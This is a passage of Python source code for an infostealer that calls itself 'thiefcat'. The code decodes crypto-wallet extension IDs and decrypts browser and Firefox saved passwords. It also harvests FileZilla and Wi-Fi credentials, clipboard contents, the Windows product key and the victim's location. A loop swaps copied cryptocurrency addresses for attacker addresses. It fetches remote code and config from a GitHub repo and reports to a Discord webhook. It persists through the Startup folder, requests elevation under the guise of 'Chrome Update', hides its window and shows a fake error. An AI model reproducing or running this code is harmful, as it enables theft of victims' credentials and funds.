extension_id20 =  f'{base64.b64decode("aWJuZWpkZmptbWtwY25JcGViazFtbmtvZWlwaG9mZWM=")}'.replace("b'", "").replace("'", "")
extension_id21 = f'{base64.b64decode("Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanA=")}'.replace("b'", "").replace("'", "")

#STRINGIFY EXTENSIONS DECODED
inp1  = str(extension_id1)
inp2  = str(extension_id2)
inp3  = str(extension_id3)
inp4  = str(extension_id4)
inp5  = str(extension_id5)
inp6  = str(extension_id6)
inp7 = str(extension_id7)
inp8 = str(extension_id8)
inp9 = str(extension_id9)
inp10 = str(extension_id10)
inp11 = str(extension_id11)
inp12 = str(extension_id12)
inp13 = str(extension_id13)
inp14 = str(extension_id14)
inp15 = str(extension_id15)
inp16 = str(extension_id16)
inp17 = str(extension_id17)
inp18 = str(extension_id18)
inp19 = str(extension_id19)
inp20 = str(extension_id20)
inp21 = str(extension_id21)


#PARSE IN JSON TO IDENTIFY EXTENSION NAME
local_identifier = {
    inp1: "Metamask",
    inp2: "Metamask2",
    inp3: "Exodus",
    inp4: "Binance",
    inp5: "Phantom",
    inp6: "Coinbase",
    inp7: "Ronin",
    inp8: "Coin98",
    inp9: "Kardiachain",
    inp10: "Terrastation",
    inp11: "Wombat",
    inp12: "Harmony",
    inp13: "Nami",
    inp14: "MartianAptos",
    inp15: "Braavos",
    inp16: "XDEFI",
    inp17: "Voroi",
    inp18: "TON",
    inp19: "Authenticator",
    inp20: "Tron",
    inp21: "Binance"
}


regx_net = r"[\w-]{24}\." + base64.b64decode(b'W1x3LV17Nn1cLltcdy1dezI1LDExMH0=').decode()
imthebestdev = os.getlogin()
spoted_victim = os.getenv("COMPUTERNAME")
space_stored = str(psutil.disk_usage("/")[0] / 1024 ** 3).split(".")[0]
fastmem_stored = str(psutil.virtual_memory()[0] / 1024 ** 3).split(".")[0]
shell32 = ctypes.windll.shell32
local = os.getenv("LOCALAPPDATA")
roaming = os.getenv("APPDATA")
temp = os.getenv("TEMP")
Notpasswrd = []

json_confg = {
    "created_by": "%PC_CREATOR%",
    "apilink": "%API_LINK%",
    "hooking_hawk": "%B64_WBH_STR%",
    "browsers_found": "%_GetBrowsers_Options%",
    "found_av": "%AntiVirus_Options%",
    "files_mc": "%_Games_Options%",
    "sys_found": "%Sys_Options%",
    "roblox_found": "%Roblox_Options%",
    "screen_found": "%Screen_Options%",
    "ping_config": "%Ping_Options%",
    "clipboard_found": "%ClipBoard_Options%",
    "w1f1_found": "%Wifi_Options%",
    "hide_config": "%Hide_Options%",
    "pingtype_config": "%PingType_Options%",
    "killdiscord_config": '%KillDiscord_Options%',
    "fake_error_config": "%_error_thiefcat%",
    "startup_config": "%Startup_Options%",
    "little_voice": "%_LilVoice_Options%",
    "chromenject_config": "%InjectBrowsers_Options%",
    "url_hawkinject": "https://raw.githubusercontent.com/meccksch/cerf/main/index.js",
    "telegram_found": "%Telegram_Options%",
    "filezilla_found": "%Telegram_Options%",
    "SAEZRTYRES1": '%Debugger_Options%',
    "AEAZAKG55": "%Disable_Defender_Options%",
    "AEZRETRYY5": "%InjectDiscord_Options%",
    "AEZAZRETG55": "%ADA_address_Options%",
    "MPALFLLLL": "%CryptoReplacer_Options%",
    "A8666ACLLLL": "%BTC_address_Options%",
    "AEZ56TRYY5": "%DASH_address_Options%",
    "LOA444KVDSO": "%_ETH_address_Options%",
    "MPALAGZBLL": "%_XCHAIN_address_Options%",
    "MPLAO55599BL": "%PACHAIN_address_Options%",
    "LOGZKNNNN": "%CCHAIN_address_Options%",
    "AKEOZDSON9N": "%MONERO_address_Options%",
    "bindoption": "%Bind_Options%",
    "launcher_found": "%_Found_Launcher%",
    "crypto_found": "%Crypto_Options%",
}




url = f"https://raw.githubusercontent.com/meccksch/cerf/main/assets/nope.json"
response = requests.get(url)

try:
    if response.status_code == 200:
        arrayprgg = response.json()
except:
    arrayprgg = {
"blacklistedprog": [
        "None",
        ]
    }

class Functions(object):
    @staticmethod
    def decode_filezilla_xml(file_path):
        if not os.path.exists(file_path):
            return None
        
        with open(file_path, "r", encoding="utf-8") as file:
            xml_content = file.read()
        
        credentials = []
        server_regex = r"<Server>(.*?)</Server>"
        host_regex = r"<Host>(.*?)</Host>"
        port_regex = r"<Port>(.*?)</Port>"
        protocol_regex = r"<Protocol>(.*?)</Protocol>"
        user_regex = r"<User>(.*?)</User>"
        pass_regex = r"<Pass encoding=\"(.*?)\">(.*?)</Pass>"
        
        server_matches = re.findall(server_regex, xml_content, re.DOTALL)
        
        for server_match in server_matches:
            host_match = re.search(host_regex, server_match)
            port_match = re.search(port_regex, server_match)
            protocol_match = re.search(protocol_regex, server_match)
            user_match = re.search(user_regex, server_match)
            pass_match = re.search(pass_regex, server_match)
            
            if host_match and port_match and protocol_match and user_match and pass_match:
                host = host_match.group(1)
                port = port_match.group(1)
                protocol = protocol_match.group(1)
                user = user_match.group(1)
                pass_value = base64.b64decode(pass_match.group(2)).decode("utf-8")
                
                credentials.append({
                    "Host": host,
                    "Port": port,
                    "Protocol": protocol,
                    "User": user,
                    "Pass": pass_value,
                })
        
        return credentials
    @staticmethod
    def NotKSCH58findClipboard():
        return subprocess.run("powershell Get-Clipboard", shell=True, capture_output=True).stdout.decode(errors='backslashreplace').strip()
    
    @staticmethod
    def NotKSCH58findDevices():
        try:
            command = 'powershell -Command "Get-PnpDevice -PresentOnly | Where-Object { $_.InstanceId -match \'^USB\' }"'
            process = subprocess.run(command, shell=True, capture_output=True, text=True, creationflags=0x08000000)
            if process.returncode == 0:
                return process.stdout
            else:
                pass
            return None
        except:
            pass


    @staticmethod
    def NotKSCH58findwifi():
        profiles = list()
        passwords = dict()
        for line in subprocess.run('netsh wlan show profile', shell=True, capture_output=True).stdout.decode(errors='ignore').strip().splitlines():
            if 'All User Profile' in line:
                name = line[(line.find(':') + 1):].strip()
                profiles.append(name)

        for profile in profiles:
            found = False
            for line in subprocess.run(f'netsh wlan show profile "{profile}" key=clear', shell=True,capture_output=True).stdout.decode(errors='ignore').strip().splitlines():
                if 'Key Content' in line:
                    passwords[profile] = line[(line.find(':') + 1):].strip()
                    found = True
                    break
            if not found:
                passwords[profile] = '(None)'
        return passwords

    @staticmethod
    def time_convertion(time: int or float) -> str:
        try:
            epoch = datetime(1601, 1, 1, tzinfo=timezone.utc)
            codestamp = epoch + timedelta(microseconds=time)
            return codestamp
        except Exception:
            pass

    @staticmethod
    def mykey_gtm(path: str or os.PathLike) -> str or None:
        try:
            with open(path, "r", encoding="utf-8") as f:
                local_state = json.load(f)
            encrypted_key = local_state.get(
                "os_crypt", {}).get("encrypted_key")
            if not encrypted_key:
                return None
            encrypted_key = b64decode(encrypted_key)[5:]
            return Functions.decrypt_windows(encrypted_key)
        except (FileNotFoundError, json.JSONDecodeError, ValueError):
            return None

    @staticmethod
    def files_creating(_dir: str or os.PathLike = gettempdir()):
        f1lenom = "".join( random.SystemRandom().choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") for _ in range(random.randint(10, 20)))
        path = os.path.join(_dir, f1lenom)
        open(path, "x")
        return path

    @staticmethod
    def header_making(token: str = None):
        headers = {
            "Content-Type": "application/json",
        }
        if token:
            headers.update({"Authorization": token})
        return headers

    @staticmethod
    def decrypt_windows(encrypted_str: bytes) -> str:
        return CryptUnprotectData(encrypted_str, None, None, None, 0)[1]

    @staticmethod
    def info_sys() -> list:
        flag = 0x08000000
        sh1 = "wmic csproduct get uuid"
        sh2 = "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
        sh3 = "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        try:
            window_wid = (
                subprocess.check_output(sh1, creationflags=flag)
                .decode()
                .split("\n")[1]
                .strip()
            )
        except Exception:
            window_wid = "N/A"
        try:
            windowfoundkey = (
                subprocess.check_output(sh2, creationflags=flag).decode().rstrip())
        except Exception:
            windowfoundkey = "N/A"
        try:
            wind_never = (
                subprocess.check_output(sh3, creationflags=flag).decode().rstrip())
        except Exception:
            wind_never = "N/A"
        return [window_wid, wind_never, windowfoundkey]

    @staticmethod
    def value_decrypt(buff, master_key) -> str:
        try:
            iv = buff[3:15]
            payload = buff[15:]
            cipher = AES.new(master_key, AES.MODE_GCM, iv)
            decrypted_pass = cipher.decrypt(payload)
            decrypted_pass = decrypted_pass[:-16].decode()
            return decrypted_pass
        except Exception:
            return f'Failed to decrypt "{str(buff)}" | key: "{str(master_key)}"'

    @staticmethod
    def find_in_config(e: str):
        value = json_confg.get(e)
        if value is not None:
            return value
        else: 
            value = arrayprgg.get(e)
            if value is not None:
                return value
                
    @staticmethod
    def info_netword() -> list:
        ip, city, country, region, org, loc, googlemap = (
            "None",
            "None",
            "None",
            "None",
            "None",
            "None",
            "None",
        )
        try:
            req = httpx.get("https://ipinfo.io/json")
            if req.status_code == 200:
                data = req.json()
                ip = data.get("ip")
                city = data.get("city")
                country = data.get("country")
                region = data.get("region")
                org = data.get("org")
                loc = data.get("loc")
                googlemap = "https://www.google.com/maps/search/google+map++" + loc
        except:
            pass
        return [ip, city, country, region, org, loc, googlemap]


class Replacer_Loop(Functions):
    def __init__(self):
        self.btc_finder = self.find_in_config("MPALFLLLL")
        self.addresses = {
            "btc": self.find_in_config("A8666ACLLLL"),
            "eth": self.find_in_config("LOA444KVDSO"),
            "xchain": self.find_in_config("MPALAGZBLL"),
            "pchain": self.find_in_config("MPLAO55599BL"),
            "cchain": self.find_in_config("LOGZKNNNN"),
            "monero": self.find_in_config("AKEOZDSON9N"),
            "ada": self.find_in_config("AEZAZRETG55"),
            "dash": self.find_in_config("AEZ56TRYY5"),
        }

    def copy_address(self, regex, address_key):
        clipboard_data = pyperclip.paste()
        if re.search(regex, clipboard_data):
            if address_key in self.addresses and clipboard_data not in self.addresses.values():
                address = self.addresses[address_key]
                if address != "none":
                    pyperclip.copy(address)

    def address_swap(self):
        self.copy_address("^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$", "btc")
        self.copy_address("^0x[a-fA-F0-9]{40}$", "eth")
        self.copy_address("^([X]|[a-km-zA-HJ-NP-Z1-9]{36,72})-[a-zA-Z]{1,83}1[qpzry9x8gf2tvdw0s3jn54khce6mua7l]{38}$", "xchain")
        self.copy_address("^([P]|[a-km-zA-HJ-NP-Z1-9]{36,72})-[a-zA-Z]{1,83}1[qpzry9x8gf2tvdw0s3jn54khce6mua7l]{38}$", "pchain")
        self.copy_address("^([C]|[a-km-zA-HJ-NP-Z1-9]{36,72})-[a-zA-Z]{1,83}1[qpzry9x8gf2tvdw0s3jn54khce6mua7l]{38}$", "cchain")
        self.copy_address("addr1[a-z0-9]+", "ada")
        self.copy_address("/X[1-9A-HJ-NP-Za-km-z]{33}$/g", "dash")
        self.copy_address("/4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$/g", "monero")

    def loop_through(self):
        while True:
            self.address_swap()

    def run(self):
        if self.btc_finder == "yes":
            self.loop_through()

class NotFoundError(Exception):
    pass


class Credentials(object):
    def __init__(self, db):
        self.db = db
        if not os.path.isfile(db):
            raise NotFoundError("ERROR - {0} database not found\n".format(db))
    def __iter__(self):
        pass
    def done(self):
        pass


class SqliteCredentials(Credentials):
    def __init__(self, profile):
        db = os.path.join(profile, "signons.sqlite")
        super(SqliteCredentials, self).__init__(db)
        self.conn = sqlite3.connect(db)
        self.c = self.conn.cursor()

    def __iter__(self):
        self.c.execute("SELECT hostname, encryptedUsername, encryptedPassword, encType "
                       "FROM moz_logins")
        for i in self.c:
            yield i

    def done(self):
        super(SqliteCredentials, self).done()
        self.c.close()
        self.conn.close()


class JsonCredentials(Credentials):
    def __init__(self, profile):
        db = os.path.join(profile, "logins.json")
        super(JsonCredentials, self).__init__(db)

    def __iter__(self):
        with open(self.db) as fh:
            data = json.load(fh)
            try:
                logins = data["logins"]
            except:
                raise Exception("Unrecognized format in {0}".format(self.db))
            for i in logins:
                yield (i["hostname"], i["encryptedUsername"],
                       i["encryptedPassword"], i["encType"])


class NSSDecoder(object):
    class SECItem(ctypes.Structure):
        _fields_ = [
            ('type', c_uint),
            ('data', c_char_p),
            ('len', c_uint),
        ]

    class PK11SlotInfo(ctypes.Structure):
        ...

    def __init__(self):
        try:
            self.NSS = None
            self.load_libnss()
            SlotInfoPtr = ctypes.POINTER(self.PK11SlotInfo)
            SECItemPtr = ctypes.POINTER(self.SECItem)
            self._set_ctypes(c_int, "NSS_Init", c_char_p)
            self._set_ctypes(c_int, "NSS_Shutdown")
            self._set_ctypes(SlotInfoPtr, "PK11_GetInternalKeySlot")
            self._set_ctypes(None, "PK11_FreeSlot", SlotInfoPtr)
            self._set_ctypes(c_int, "PK11_CheckUserPassword", SlotInfoPtr, c_char_p)
            self._set_ctypes(c_int, "PK11SDR_Decrypt", SECItemPtr, SECItemPtr, c_void_p)
            self._set_ctypes(None, "SECITEM_ZfreeItem", SECItemPtr, c_int)
            self._set_ctypes(c_int, "PORT_GetError")
            self._set_ctypes(c_char_p, "PR_ErrorToName", c_int)
            self._set_ctypes(c_char_p, "PR_ErrorToString", c_int, c_uint32)
        except:
            pass

    def _set_ctypes(self, restype, name, *argtypes):
        try:
            res = getattr(self.NSS, name)
            res.restype = restype
            res.argtypes = argtypes
            setattr(self, "_" + name, res)
        except:
            pass


    @staticmethod
    def find_nss(locations, nssname):
        try:
            for loc in locations:
                if os.path.exists(os.path.join(loc, nssname)):
                    return loc
            return ""
        except:
            pass


    def load_libnss(self):
        try:
            if os.name == "nt":
                nssname = "nss3.dll"
                locations = (
                    "", 
                    r"C:\Program Files (x86)\Mozilla Firefox",
                    r"C:\Program Files\Mozilla Firefox"
                )
                firefox = self.find_nss(locations, nssname)
                if firefox:
                    os.environ["PATH"] = ';'.join([os.environ["PATH"], firefox])
            elif os.uname()[0] == "Darwin":
                nssname = "libnss3.dylib"
                locations = (
                    "",  
                    "/usr/local/lib/nss",
                    "/usr/local/lib",
                    "/opt/local/lib/nss",
                    "/sw/lib/firefox",
                    "/sw/lib/mozilla",
                    "/usr/local/opt/nss/lib", 
                    "/opt/pkg/lib/nss",
                )
                firefox = self.find_nss(locations, nssname)
            else:
                nssname = "libnss3.so"
                firefox = ""
            try:
                if firefox:
                    nsslib = os.path.join(firefox, nssname)
                    self.NSS = ctypes.CDLL(nsslib)
            except Exception as e:
                pass
        except:
            pass



    def handle_error(self):
        try:
            code = self._PORT_GetError()
            name = self._PR_ErrorToName(code)
            name = "NULL" if name is None else name.decode("ascii")
            text = self._PR_ErrorToString(code, 0)
            text = text.decode("utf8")
        except:
            pass


    def decode(self, data64):
        try:
            data = b64decode(data64)
            inp = self.SECItem(0, data, len(data))
            out = self.SECItem(0, None, 0)
            e = self._PK11SDR_Decrypt(inp, out, None)
            try:
                if e == -1:
                    pass
                res = ctypes.string_at(out.data, out.len).decode("utf8")
            finally:
                self._SECITEM_ZfreeItem(out, 0)
            return res
        except:
            pass


class NotKSCH58_first_funct(Functions):
    def __init__(self):
        
        self.profile = None
        self.NSS = NSSDecoder()

        self.firefox_installed = False

        self.eco_baby = f'{base64.b64decode(self.find_in_config("hooking_hawk"))}'.replace("b'", "").replace("'", "")
        self.ecobybro = str(self.eco_baby)

        self.thingstocount = {
            f'{justatermlil}': 0,
            'passwrd': 0,
            'screenshotbro': 0,
            'creditcard': 0,
            'historybaby': 0,
            'bookmarksbaby':0,
            'info_discord': 0,
            'roblox_friendly': 0,
            'friendlybabymc': 0,
            'wifinet': 0
        }
        self.ccounter ={
    "mail": 0,
    "[gmail](https://gmail.com)": 0,
    "[sellix](https://sellix.io)": 0,
    "[steam](https://steam.com)": 0,
    "[discord](https://discord.com)": 0,
    "[riotgames](https://riotgames.com)": 0,
    "[youtube](https://youtube.com)": 0,
    "[instagram](https://instagram.com)": 0,
    "[tiktok](https://tiktok.com)": 0,
    "[twitter](https://twitter.com)": 0,
    "[facebook](https://facebook.com)": 0,
    "card": 0,
    "[epicgames](https://epicgames.com)": 0,
    "[spotify](https://spotify.com)": 0,
    "[yahoo](https://yahoo.com)": 0,
    "[roblox](https://roblox.com)": 0,
    "[twitch](https://twitch.com)": 0,
    "[minecraft](https://minecraft.net)": 0,
    "bank": 0,
    "[paypal](https://paypal.com)": 0,
    "[origin](https://origin.com)": 0,
    "[amazon](https://amazon.com)": 0,
    "[ebay](https://ebay.com)": 0,
    "[aliexpress](https://aliexpress.com)": 0,
    "[playstation](https://playstation.com)": 0,
    "[hbo](https://hbo.com)": 0,
    "[xbox](https://xbox.com)": 0,
    "buy": 0,
    "sell": 0,
    "[binance](https://binance.com)": 0,
    "[hotmail](https://hotmail.com)": 0,
    "[outlook](https://outlook.com)": 0,
    "[crunchyroll](https://crunchyroll.com)": 0,
    "[telegram](https://telegram.com)": 0,
    "[pornhub](https://pornhub.com)": 0,
    "[disney](https://disney.com)": 0,
    "[expressvpn](https://expressvpn.com)": 0,
    "crypto": 0,
    "[uber](https://uber.com)": 0,
    "[netflix](https://netflix.com)": 0,
        }

        self.thishawk_webh = self.ecobybro

        self.apilink = self.find_in_config("apilink")
        
        self.soundedornot = self.find_in_config("little_voice")
        
        self.created_by = self.find_in_config("created_by")

        self.gangman = str(self.created_by)

        self.str_creator_ = self.gangman

        self.hide = self.find_in_config("hide_config")

        self.Found_Crypto = self.find_in_config("crypto_found")

        self.launcher = self.find_in_config("launcher_found")

        self.bindoption = self.find_in_config("bindoption")

        self.disablemydefender = self.find_in_config("AEAZAKG55")

        self.pingtype = self.find_in_config("pingtype_config")

        self.pingonrun = self.find_in_config("ping_config")

        self.disc_url_api = "https://discord.com/api/v9/users/@me"

        self.startupexe = self.find_in_config("startup_config")

        self.fake_error = self.find_in_config("fake_error_config")

        self.Found_Browsers = self.find_in_config("browsers_found")

        self.Found_AV = self.find_in_config("found_av")

        self.Found_Game = self.find_in_config("files_mc")

        self.Found_Sys = self.find_in_config("sys_found")

        self.Found_Roblox = self.find_in_config("roblox_found")

        self.Found_Screen = self.find_in_config("screen_found")

        self.Found_Clipboard = self.find_in_config("clipboard_found")

        self.Found_Telegram = self.find_in_config("telegram_found")

        self.Found_FileZilla = self.find_in_config("filezille_found")

        self.Found_Wifi = self.find_in_config("w1f1_found")

        self.appdata = local

        self.roaming = roaming

        self._1 = "Google"

        self.chrome_user_path = os.path.join(self.appdata, self._1, "Chrome", maybycool)

        self.dir, self.temp = mkdtemp(), gettempdir()

        inf, net = self.info_sys(), self.info_netword()

        self.total, self.used, self.free = shutil.disk_usage("/")

        self.pc_codewinl = locale.getdefaultlocale()[0]
        self.fastmem_stored = str(psutil.virtual_memory()[0] / 1024 ** 3).split(".")[0]

        self.total_gb = self.total / (2**30)
        self.used_gb = self.used / (2**30)
        self.free_gb = self.free / (2**30)

        self.used_percent = self.used / self.total * 100

        self.progress_bar_length = 20
        self.num_filled_blocks = int(
            self.used_percent / 100 * self.progress_bar_length)
        self.progress_bar = "[" + "█" * self.num_filled_blocks + "." * \
            (self.progress_bar_length - self.num_filled_blocks) + "]"

        self.window_wid, self.never_wind, self.windowfoundkey = (
            inf[0],
            inf[1],
            inf[2],
        )

        (
            self.ip,
            self.city,
            self.country,
            self.region,
            self.org,
            self.loc,
            self.googlemap,
        ) = (net[0], net[1], net[2], net[3], net[4], net[5], net[6])

        self.localstartup = os.path.join(self.roaming, "Microsoft", "Windows", "Start Menu", "Programs", "Startup")

        self.webapi_find = "api/webhooks"

        self.rgx_chrome = re.compile(r"(^profile\s\d*)|default|(guest profile$)", re.IGNORECASE | re.MULTILINE)

        self.disc_url_api = "https://discord.com/api/v9/users/@me"

        self.regex = regx_net

        self.rgx_thiefcat = r"dQw4w9WgXcQ:[^\"]*"

        self.hawked = []

        self.NotKSCH58id = []

        self.sep = os.sep

        self.rblxcckcs = []

        self.thezip_url = ""

        self.chrome_key = self.mykey_gtm(
            os.path.join(self.chrome_user_path, "Local State"))

        os.makedirs(self.dir, exist_ok=True)    

        #EXTENSIONS INJECTOR
        self.programdata = os.environ['ProgramData']

        self.operagx = False
        self.opera = False
        self.brave = False
        self.chrome = False
        self.vivaldi = False
        self.edge = False
        self.yandex = False
        self.iron = False
        self.kiwi = False
        self.torch = False
        self.slimjet = False
        self.dragon = False
        self.operaneon = False

        self.browser_processes = {
                'chrome': 'chrome.exe',
                'opera': 'opera.exe',
                'opera_gx': 'opera_gx.exe',
                'brave': 'brave.exe',
                'vivaldi': 'vivaldi.exe',
                'edge': 'msedge.exe',
                'yandex': 'browser.exe',
                'iron': 'iron.exe',
                'kiwi': 'kiwi.exe',
                'torch' : 'torch.exe',
                'slimjet': 'slimjet.exe',
                'dragon': 'dragon.exe',
                'opera_neon': 'opera_neon.exe'
            }

        self.path_shortcutnav_roaming = {
            "Google Chrome": f"{self.roaming}\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk",
            "Opera": f"{self.roaming}\\Microsoft\\Windows\\Start Menu\\Programs\\Opera.lnk",
            "Opera GX": f"{self.roaming}\\Microsoft\\Windows\\Start Menu\\Programs\\Opera GX.lnk",
            "Brave": f"{self.roaming}\\Microsoft\\Windows\\Start Menu\\Programs\\Brave.lnk",
            "Vivaldi": f"{self.roaming}\\Microsoft\\Windows\\Start Menu\\Programs\\Vivaldi.lnk",
            "Microsoft Edge": f"{self.roaming}\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Edge.lnk",
            "Yandex Browser": f"{self.roaming}\\Microsoft\\Windows\\Start Menu\\Programs\\Yandex\\Yandex Browser.lnk",
            "SRWare Iron": f"{self.roaming}\\Microsoft\\Windows\\Start Menu\\Programs\\SRWare Iron.lnk",
            "Kiwi Browser": f"{self.roaming}\\Microsoft\\Windows\\Start Menu\\Programs\\Kiwi Browser.lnk",
            "Torch Browser": f"{self.roaming}\\Microsoft\\Windows\\Start Menu\\Programs\\Torch Browser.lnk",
            "Slimjet": f"{self.roaming}\\Microsoft\\Windows\\Start Menu\\Programs\\Slimjet.lnk",
            "Comodo Dragon": f"{self.roaming}\\Microsoft\\Windows\\Start Menu\\Programs\\Comodo Dragon.lnk",
            "Opera Neon": f"{self.roaming}\\Microsoft\\Windows\\Start Menu\\Programs\\Opera Neon.lnk"
        }
        self.path_shortcutnav_programdata = {
            "Google Chrome": f"{self.programdata}\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk",
            "Opera": f"{self.programdata}\\Microsoft\\Windows\\Start Menu\\Programs\\Opera.lnk",
            "Opera GX": f"{self.programdata}\\Microsoft\\Windows\\Start Menu\\Programs\\Opera GX.lnk",
            "Brave": f"{self.programdata}\\Microsoft\\Windows\\Start Menu\\Programs\\Brave.lnk",
            "Vivaldi": f"{self.programdata}\\Microsoft\\Windows\\Start Menu\\Programs\\Vivaldi.lnk",
            "Microsoft Edge": f"{self.programdata}\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Edge.lnk",
            "Yandex Browser": f"{self.programdata}\\Microsoft\\Windows\\Start Menu\\Programs\\Yandex\\Yandex Browser.lnk",
            "SRWare Iron": f"{self.programdata}\\Microsoft\\Windows\\Start Menu\\Programs\\SRWare Iron.lnk",
            "Kiwi Browser": f"{self.programdata}\\Microsoft\\Windows\\Start Menu\\Programs\\Kiwi Browser.lnk",
            "Torch Browser": f"{self.programdata}\\Microsoft\\Windows\\Start Menu\\Programs\\Torch Browser.lnk",
            "Slimjet": f"{self.programdata}\\Microsoft\\Windows\\Start Menu\\Programs\\Slimjet.lnk",
            "Comodo Dragon": f"{self.programdata}\\Microsoft\\Windows\\Start Menu\\Programs\\Comodo Dragon.lnk",
            "Opera Neon": f"{self.programdata}\\Microsoft\\Windows\\Start Menu\\Programs\\Opera Neon.lnk"
        }
        self.path_shortcutnav_additionnal = {
            "Opera GX": f"{self.roaming}\\Microsoft\\Windows\\Start Menu\\Programs\\Navigateur Opera GX.lnk",
        }
        self.filezilla_config_path = os.path.join(self.roaming, "FileZilla")
        self.recentservers_xml_path = os.path.join(self.filezilla_config_path, "recentservers.xml")
        self.sitemanager_xml_path = os.path.join(self.filezilla_config_path, "sitemanager.xml")



    def ask_admin(self):
        if self.find_in_config("chromenject_config") != "yes":
            return
        try:
            if shell32.IsUserAnAdmin() == 0:
                if shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1, 'Chrome Update') <= 32:
                    raise Exception("Error permissions")
                time.sleep(1)
                if self.hide == "yes":
                    hide = win32gui.GetForegroundWindow()
                    win32gui.ShowWindow(hide, win32con.SW_HIDE)
        except:
            pass
        

    def thiefcat_DoAFakeError(self: str) -> str:
        if self.fake_error != "yes":
            return
        try:
            ctypes.windll.user32.MessageBoxW(None,
                "Error code: Windows_0x786542\nSomething gone wrong.",
                "Fatal Error",
                0,
            )
        except:
            pass

    def ping_on_running(self: str) -> str:
        if self.pingonrun != "yes":
            return
        try:
            ping1 = {
                "username": f"{NotKSCH58} ",
                "avatar_url": f"https://raw.githubusercontent.com/meccksch/cerf/main/assets/thiefcat.png",
                "content": "@everyone",
            }
            ping2 = {
                "username": f"{NotKSCH58} ",
                "avatar_url": f"https://raw.githubusercontent.com/meccksch/cerf/main/assets/thiefcat.png",
                "content": "@here",
            }
            if self.webapi_find in self.thishawk_webh:
                if self.pingtype in ["@everyone", "everyone"]:
                    httpx.post(self.thishawk_webh, json=ping1)
                elif self.pingtype in ["@here", "here"]:
                    httpx.post(self.thishawk_webh, json=ping2)
        except:
            pass

    def thiefcat_AddStartup(self: str) -> str:
        if self.startupexe != "yes":
            return
        try:
            startup_path = os.path.join(roaming, "Microsoft", "Windows", "Start Menu", "Programs", "Startup")
            src_file = argv[0]
            dest_file = os.path.join(startup_path, os.path.basename(src_file))
            if os.path.exists(dest_file):
                os.remove(dest_file)
            shutil.copy2(src_file, dest_file)
        except:
            pass

    def thread_bind(self):
        if self.bindoption == "" or self.bindoption == "%Bind"+ "_Options%":
            return
        try:
            if hasattr(sys, "frozen"):
                file_path = os.path.abspath(__file__)
                current_directory = os.path.dirname(file_path)
                bound_file_path = os.path.join(current_directory,".'", self.bindoption)
                temp_dir = temp
                bound_file_destination = os.path.join(temp_dir, self.bindoption)
                try:
                    if not os.path.isfile(bound_file_destination):
                        shutil.copy(bound_file_path, bound_file_destination)
                    try:
                        Popen(f"start {self.bindoption}", shell=True, cwd=temp_dir, creationflags=subprocess.CREATE_NEW_CONSOLE | subprocess.SW_HIDE)
                    except:
                        Popen(f"start {bound_file_path}", shell=True, creationflags=subprocess.CREATE_NEW_CONSOLE | subprocess.SW_HIDE)
                        pass 
                except Exception as e:
                    pass
            else:
                pass
        except:
            pass
        
    def thiefcat_HideYourself(self):
        if self.hide != "yes":
            return
        try:
            hwnd = win32gui.GetForegroundWindow()
            win32gui.ShowWindow(hwnd, win32con.SW_HIDE)
            current_pid = win32api.GetCurrentProcessId()
            current_process_handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, current_pid)
            if current_process_handle:
                try:
                    win32process.SetPriorityClass(current_process_handle, win32process.BELOW_NORMAL_PRIORITY_CLASS)
                except:
                    pass
        except:
            pass

    def thiefcat_ProcessStop(self):
        shutil.rmtree(self.dir, ignore_errors=True)
        os._exit(0)

    def extract_try(func):
        def wrapper(*args, **kwargs):
            try:
                func(*args, **kwargs)
            except Exception:
                pass
        return wrapper

    def getlange(self, pc_code) -> str:
        try:
            lang_map = {
                "fr_FR": "FR_",
                "ar_SA": "AR_",
                "bg_BG": "BU_",
                "ca_ES": "CA_",
                "zh_TW": "CH_",
                "cs_CZ": "CZ_",
                "da_DK": "DA_",
                "de_DE": "GE_",
                "el_GR": "GR_",
                "en_US": "US_",
                "en_SG": "EN_",
                "es_ES": "SP_",
                "fi_FI": "FIN_",
                "he_IL": "HEB_",
                "hu_HU": "HUN_",
                "is_IS": "ICE_",
                "it_IT": "IT_",
                "ko_KR": "KO_",
                "nl_NL": "DU_",
                "nb_NO": "NORW_",
                "pl_PL": "POL_",
                "pt_BR": "BR_",
                "rm_CH": "RH_RO_",
                "ro_RO": "ROM_",
                "en_SE": "SWE_",
                "ru_RU": "RU_",
                "en_150": "DEU_",
                "hr_HR": "CRO_",
                "en_DE": "DEU_",
                "sk_SK": "SLOV_",
                "sq_AL": "ALB_",
                "sv_SE": "SWE_",
                "tr_TR": "TURK_",
                "ur_PK": "UR_PAK_",
                "id_ID": "IND_",
                "uk_UA": "UKR_",
                "be_BY": "BELA_RU_",
                "sl_SI": "SLOVE_",
                "et_EE": "EST_",
                "lv_LV": "LATV_",
                "lt_LT": "LITH_",
                "tg_Cyrl_TJ": "TAJIK_",
                "fa_IR": "PERS_",
                "vi_VN": "VIET_",
                "hy_AM": "ARM_",
                "az_Latn_AZ": "AZERI_",
                "eu_ES": "BASQUE_",
                "wen_DE": "SORB_",
                "mk_MK": "MACE_",
                "st_ZA": "SUTU_",
                "ts_ZA": "TSO_",
                "tn_ZA": "TSA_",
                "ven_ZA": "VEND_",
                "xh_ZA": "XH_",
                "zu_ZA": "ZU_",
                "af_ZA": "AFR_",
                "ka_GE": "GEO_",
                "fo_FO": "FARO_",
                "hi_IN": "HINDI_",
                "mt_MT": "MAL_",
                "se_NO": "SAMI_",
                "gd_GB": "GAELIC_",
                "yi": "YI_",
                "ms_MY": "MALAY_",
                "kk_KZ": "KAZAKH_",
                "ky_KG": "CYR_",
                "bs_Latn_BA": "BOSNIAN_",
                "sr_Cyrl_RS": "SERB_",
                "sr_Latn_RS": "SERBLAT_",
                "bs_BA": "BOS_",
                "iu_Cans_CA": "IUK_",
                "sk_SK": "SLOV_",
                "en_US": "EN_",
